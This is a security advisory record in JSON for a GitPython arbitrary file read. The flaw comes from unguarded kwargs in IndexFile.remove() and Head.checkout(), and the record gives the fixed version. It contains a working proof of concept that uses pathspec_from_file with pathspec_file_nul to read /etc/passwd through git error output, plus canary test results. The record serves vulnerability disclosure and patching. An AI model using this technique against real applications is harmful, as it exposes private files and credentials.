CVE-2026-76217: GitPython Arbitrary File Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hh9p-6wh2-4mfc",
  "modified" : "2026-09-08T20:53:49Z",
  "published" : "2026-08-07T15:43:56Z",
  "aliases" : [ "CVE-2026-76217" ],
  "summary" : "GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()",
  "details" : "## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # <- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band\n       stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any files'\n[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band\n       stderr: 'error: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.58"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.57"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-76217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/pull/2204"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-73" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-07T15:43:56Z",
    "nvd_published_at" : null
  }
}